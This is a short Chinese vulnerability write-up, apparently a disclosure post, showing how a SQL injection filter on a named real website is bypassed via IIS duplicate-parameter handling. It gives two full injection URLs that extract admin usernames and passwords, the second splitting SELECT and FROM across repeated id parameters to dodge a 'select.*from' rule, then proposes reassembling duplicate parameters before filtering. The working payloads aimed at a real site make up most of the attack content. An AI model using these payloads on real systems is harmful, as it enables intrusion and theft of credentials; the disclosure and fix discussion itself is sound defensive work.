防范sql的部分防护规则可被绕过,继续注入...
很简单，利用iis对复参的特殊处理，即可绕过防护规则.
构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
返回:
已经被成功阻断，简单猜测规则应该形如select.*from
利用复参，分割select与from，构造如下请求:
http://www.51qljr.com/xinxi/shownews.asp?id=(-575)UNION SELECT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=18 from admin
返回
修复方案：
这个修复我还没想好，望看者给予补充:
在进行规则匹配之前，首先向iis一样对复参进行重组,如请求name=select&name=from，重组后name=select,from然后在进行规则匹配
但是这样代价很过，对所有的请求都要进行检查，是否得不偿失....
还希望大家给出更好的修改建议...
作者 ： possible